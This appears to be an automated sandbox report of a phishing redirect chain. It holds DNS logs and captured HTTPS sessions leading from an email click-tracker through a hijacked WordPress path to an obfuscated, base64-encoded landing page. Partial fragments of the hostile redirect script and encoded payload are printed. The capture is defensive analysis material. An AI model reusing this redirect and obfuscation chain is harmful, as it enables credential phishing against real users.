Apr 24, 2024 23:07:28.202423096 CEST	1.1.1.1	192.168.2.5	0xc279	No error (0)	www.google.com		142.250.101.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.202423096 CEST	1.1.1.1	192.168.2.5	0xc279	No error (0)	www.google.com		142.250.101.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.202423096 CEST	1.1.1.1	192.168.2.5	0xc279	No error (0)	www.google.com		142.250.101.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.202423096 CEST	1.1.1.1	192.168.2.5	0xc279	No error (0)	www.google.com		142.250.101.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.202423096 CEST	1.1.1.1	192.168.2.5	0xc279	No error (0)	www.google.com		142.250.101.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.202423096 CEST	1.1.1.1	192.168.2.5	0xc279	No error (0)	www.google.com		142.250.101.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:28.202874899 CEST	1.1.1.1	192.168.2.5	0x20be	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 23:07:29.086936951 CEST	1.1.1.1	192.168.2.5	0xe6a8	No error (0)	acmeauto.in		51.210.113.194	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:31.977448940 CEST	1.1.1.1	192.168.2.5	0xaea4	No error (0)	presidio.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:31.977448940 CEST	1.1.1.1	192.168.2.5	0xaea4	No error (0)	presidio.com		141.193.213.21	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:32.001470089 CEST	1.1.1.1	192.168.2.5	0x5cf1	No error (0)	jcq36.einewomi.com		172.67.137.23	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:32.001470089 CEST	1.1.1.1	192.168.2.5	0x5cf1	No error (0)	jcq36.einewomi.com		104.21.62.163	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:32.001779079 CEST	1.1.1.1	192.168.2.5	0xcec5	No error (0)	jcq36.einewomi.com			65	IN (0x0001)	false
Apr 24, 2024 23:07:33.320441961 CEST	1.1.1.1	192.168.2.5	0xb669	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:33.320441961 CEST	1.1.1.1	192.168.2.5	0xb669	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:33.320441961 CEST	1.1.1.1	192.168.2.5	0xb669	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:33.320441961 CEST	1.1.1.1	192.168.2.5	0xb669	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:33.321844101 CEST	1.1.1.1	192.168.2.5	0xbca4	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 23:07:33.321959019 CEST	1.1.1.1	192.168.2.5	0x4b05	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:33.321959019 CEST	1.1.1.1	192.168.2.5	0x4b05	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:36.909277916 CEST	1.1.1.1	192.168.2.5	0x5e5b	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:36.909277916 CEST	1.1.1.1	192.168.2.5	0x5e5b	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:36.909909010 CEST	1.1.1.1	192.168.2.5	0x5de0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 23:07:38.582144022 CEST	1.1.1.1	192.168.2.5	0x2ac3	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:38.582144022 CEST	1.1.1.1	192.168.2.5	0x2ac3	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:38.582161903 CEST	1.1.1.1	192.168.2.5	0x3af0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 23:07:39.715289116 CEST	1.1.1.1	192.168.2.5	0xbf71	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:42.186161995 CEST	1.1.1.1	192.168.2.5	0x97e8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 23:07:42.186161995 CEST	1.1.1.1	192.168.2.5	0x97e8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:55.870266914 CEST	1.1.1.1	192.168.2.5	0xcee6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 23:07:55.870266914 CEST	1.1.1.1	192.168.2.5	0xcee6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:58.341463089 CEST	1.1.1.1	192.168.2.5	0xe42d	No error (0)	jcq36.einewomi.com			65	IN (0x0001)	false
Apr 24, 2024 23:07:58.341486931 CEST	1.1.1.1	192.168.2.5	0x3568	No error (0)	jcq36.einewomi.com		172.67.137.23	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:07:58.341486931 CEST	1.1.1.1	192.168.2.5	0x3568	No error (0)	jcq36.einewomi.com		104.21.62.163	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.594156027 CEST	1.1.1.1	192.168.2.5	0x2c5c	No error (0)	www.google.com		142.250.101.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.594156027 CEST	1.1.1.1	192.168.2.5	0x2c5c	No error (0)	www.google.com		142.250.101.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.594156027 CEST	1.1.1.1	192.168.2.5	0x2c5c	No error (0)	www.google.com		142.250.101.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.594156027 CEST	1.1.1.1	192.168.2.5	0x2c5c	No error (0)	www.google.com		142.250.101.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.594156027 CEST	1.1.1.1	192.168.2.5	0x2c5c	No error (0)	www.google.com		142.250.101.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.594156027 CEST	1.1.1.1	192.168.2.5	0x2c5c	No error (0)	www.google.com		142.250.101.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.594508886 CEST	1.1.1.1	192.168.2.5	0x9e67	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 23:08:00.595094919 CEST	1.1.1.1	192.168.2.5	0xe9fb	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 23:08:00.610455036 CEST	1.1.1.1	192.168.2.5	0xb58	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 23:08:00.610455036 CEST	1.1.1.1	192.168.2.5	0xb58	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.57	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.610455036 CEST	1.1.1.1	192.168.2.5	0xb58	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.610455036 CEST	1.1.1.1	192.168.2.5	0xb58	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.17	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:00.610455036 CEST	1.1.1.1	192.168.2.5	0xb58	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.226.210.95	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:18.592427969 CEST	1.1.1.1	192.168.2.5	0x80d0	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 23:08:18.592427969 CEST	1.1.1.1	192.168.2.5	0x80d0	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:39.028712034 CEST	1.1.1.1	192.168.2.5	0x9c69	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 23:08:39.028712034 CEST	1.1.1.1	192.168.2.5	0x9c69	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:40.127743006 CEST	1.1.1.1	192.168.2.5	0x5f2c	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:43.600465059 CEST	1.1.1.1	192.168.2.5	0x822f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 24, 2024 23:08:43.600465059 CEST	1.1.1.1	192.168.2.5	0x822f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clicks.aweber.com

acmeauto.in

fs.microsoft.com

https:

jcq36.einewomi.com

challenges.cloudflare.com

code.jquery.com

www.bing.com

cdn.socket.io

www.google.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	172.64.151.51	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:27 UTC	717	OUT	GET /y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg HTTP/1.1 Host: clicks.aweber.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:28 UTC	632	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 21:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close location: https://acmeauto.in/wp correlation-id: 799cdfd0-4ab0-4650-bceb-960af359d49b x-robots-tag: noindex CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=EG5Q4gIqC7yKRE_zkb4E9uuhQHdyVGOWQOfiElPQ0Qg-1713992848-1.0.1.1-UA1jQFCa0XAlFbtSU_8Ff8UWbQk_jesHtWFmJMGUbFnpJFOd4TAIBKM7Lj1HLwJO5R_lyRRAv8iK_Ov196rIJw; path=/; expires=Wed, 24-Apr-24 21:37:28 GMT; domain=.aweber.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 879910255d150ad9-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	51.210.113.194	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:30 UTC	656	OUT	GET /wp HTTP/1.1 Host: acmeauto.in Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:30 UTC	368	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Wed, 24 Apr 2024 21:07:30 GMT server: LiteSpeed location: https://acmeauto.in/wp/ alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-04-24 21:07:30 UTC	707	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	51.210.113.194	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:31 UTC	657	OUT	GET /wp/ HTTP/1.1 Host: acmeauto.in Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:31 UTC	334	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 content-length: 7394 date: Wed, 24 Apr 2024 21:07:31 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-04-24 21:07:31 UTC	1034	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 20 4d 6f 76 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 21 2d 2d 20 52 65 64 69 72 65 63 74 69 6f 6e 20 42 79 20 47 36 36 4b 20 2d 2d 3e 0a 20 20 20 20 3c 21 2d 2d 20 49 43 51 3a 20 37 34 37 32 34 36 32 35 37 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 2f 2f 64 6f 6d 61 69 6e 20 73 74 72 69 6e 67 20 74 6f 20 6d 61 74 63 68 20 69 66 20 72 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 64 6f 6d 61 69 6e 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 4d 61 74 63 68 69 6e 67 20 3d 20 27 67 6f 6f 67 6c 65 27 3b Data Ascii: <!DOCTYPE html><html><head> <title>We Moving</title> ... Redirection By G66K --> ... ICQ: 747246257 --> <script type="text/javascript"> //domain string to match if redirecting to domain var domainMatching = 'google';
2024-04-24 21:07:31 UTC	6360	IN	Data Raw: 20 20 20 20 20 63 68 72 32 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 63 68 72 33 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 0a 20 20 20 20 20 20 20 20 65 6e 63 31 20 3d 20 63 68 72 31 20 3e 3e 20 32 3b 0a 20 20 20 20 20 20 20 20 65 6e 63 32 20 3d 20 28 28 63 68 72 31 20 26 20 33 29 20 3c 3c 20 34 29 20 7c 20 28 63 68 72 32 20 3e 3e 20 34 29 3b 0a 20 20 20 20 20 20 20 20 65 6e 63 33 20 3d 20 28 28 63 68 72 32 20 26 20 31 35 29 20 3c 3c 20 32 29 20 7c 20 28 63 68 72 33 20 3e 3e 20 36 29 3b 0a 20 20 20 20 20 20 20 20 65 6e 63 34 20 3d 20 63 68 72 33 20 26 20 36 33 3b 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 69 73 4e 61 4e 28 63 68 72 32 29 29 20 7b 0a 20 20 20 20 Data Ascii: chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) \| (chr2 >> 4); enc3 = ((chr2 & 15) << 2) \| (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	23.202.57.177	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 21:07:31 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/2518) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=208548 Date: Wed, 24 Apr 2024 21:07:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49720	23.202.57.177	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 21:07:32 UTC	521	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-MSEdge-Ref: Ref A: CC1186E36C704BA5AF8177F229D6CC87 Ref B: PAOEDGE0621 Ref C: 2023-04-04T13:32:33Z Cache-Control: public, max-age=208499 Date: Wed, 24 Apr 2024 21:07:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-24 21:07:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:32 UTC	686	OUT	GET /3lwz8fh/ HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://acmeauto.in/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:33 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BohYZfVFryDleZpzjErR5Q0wq8pBFhmRRx6IjclCM3QSpBfV7xI4%2BuR%2FURkec%2BXsnJuvOFqWeTplV7niSP2g%2BR%2FxcjmGfnrS1nkRPsC7lyAeK52MPbp2jkf4g7WHnA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImR0cTB3V0VubU9PdVF3cW1PejE0VVE9PSIsInZhbHVlIjoiQ01kcFZyaU9XYURQUkpDcFoxZTdMN00wZFVYREJVYzFSN1pEM28xOVBsY1VUS0R3RHZ2ZFp6Umt4ajlvN2xubkNJQ3p3T3M5ZWpMYmdGVS91VUxGbEthNW9WYTdnWUxlbzArQ2l6bloxU1RlYU8xaitZT0JldVpCeXB1Q3hEclMiLCJtYWMiOiIyYjAxMTYxZDQ0YTJkNjMzY2NmODNmNDBhYjkwMTM3MGRjNDZiNzkyMWY3N2ExMTM3NmI2OTg5NDQ2Yzk1MjY5IiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 23:07:32 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 21:07:33 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 68 6d 5a 55 35 6d 5a 6d 70 4c 64 6c 49 78 54 56 46 36 62 6c 5a 43 57 47 5a 4a 55 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 54 42 30 5a 6d 4a 33 56 32 68 4c 52 32 6c 52 4e 48 42 59 64 33 46 57 59 32 78 4c 4e 57 74 6d 61 30 78 5a 63 57 56 61 4f 45 46 6c 57 6e 70 31 56 6b 74 77 64 6e 42 59 59 57 6c 42 4e 6b 70 61 57 43 39 7a 61 79 39 75 4d 55 4d 78 63 6b 4d 78 56 57 5a 49 57 6b 46 55 51 6e 42 5a 4e 6d 68 79 4c 32 39 6a 56 6a 42 76 62 30 46 74 51 6a 5a 50 54 6b 77 31 59 55 63 72 4d 47 78 52 55 33 4a 31 56 6c 49 72 51 6d 59 34 56 45 67 76 51 6b 6c 48 53 7a 45 7a 56 32 4a 35 61 30 4a 78 4d 6e 6f 34 55 56 4e 68 61 44 4a 75 63 44 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjhmZU5mZmpLdlIxTVF6blZCWGZJUlE9PSIsInZhbHVlIjoiRTB0ZmJ3V2hLR2lRNHBYd3FWY2xLNWtma0xZcWVaOEFlWnp1VktwdnBYYWlBNkpaWC9zay9uMUMxckMxVWZIWkFUQnBZNmhyL29jVjBvb0FtQjZPTkw1YUcrMGxRU3J1VlIrQmY4VEgvQklHSzEzV2J5a0JxMno4UVNhaDJucDk
2024-04-24 21:07:33 UTC	1369	IN	Data Raw: 31 38 32 65 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 182e<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
2024-04-24 21:07:33 UTC	1369	IN	Data Raw: 44 51 6f 67 49 47 39 32 5a 58 4a 6d 62 47 39 33 4f 69 42 6f 61 57 52 6b 5a 57 34 37 44 51 70 39 44 51 6f 6a 62 56 4a 7a 57 47 68 4f 5a 6b 56 44 64 69 42 6f 4e 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 41 37 62 57 46 79 5a 32 6c 75 4c 57 4a 76 64 48 52 76 62 54 6f 75 4e 58 4a 6c 62 54 74 6d 62 32 35 30 4c 58 64 6c 61 57 64 6f 64 44 6f 31 4d 44 41 37 62 47 6c 75 5a 53 31 6f 5a 57 6c 6e 61 48 51 36 4d 53 34 79 4f 33 30 4e 43 69 4e 74 55 6e 4e 59 61 45 35 6d 52 55 4e 32 49 47 67 30 65 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 70 6a 59 57 78 6a 4b 44 45 75 4d 79 6b 37 66 51 30 4b 51 47 31 6c 5a 47 6c 68 49 43 68 74 61 57 34 74 64 32 6c 6b 64 47 67 36 4d 54 49 77 4d 48 42 34 4b 58 73 4e 43 69 4e 74 55 6e 4e 59 61 45 35 6d 52 55 4e 32 49 47 67 30 65 32 5a Data Ascii: DQogIG92ZXJmbG93OiBoaWRkZW47DQp9DQojbVJzWGhOZkVDdiBoNHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTouNXJlbTtmb250LXdlaWdodDo1MDA7bGluZS1oZWlnaHQ6MS4yO30NCiNtUnNYaE5mRUN2IGg0e2ZvbnQtc2l6ZTpjYWxjKDEuMyk7fQ0KQG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsNCiNtUnNYaE5mRUN2IGg0e2Z
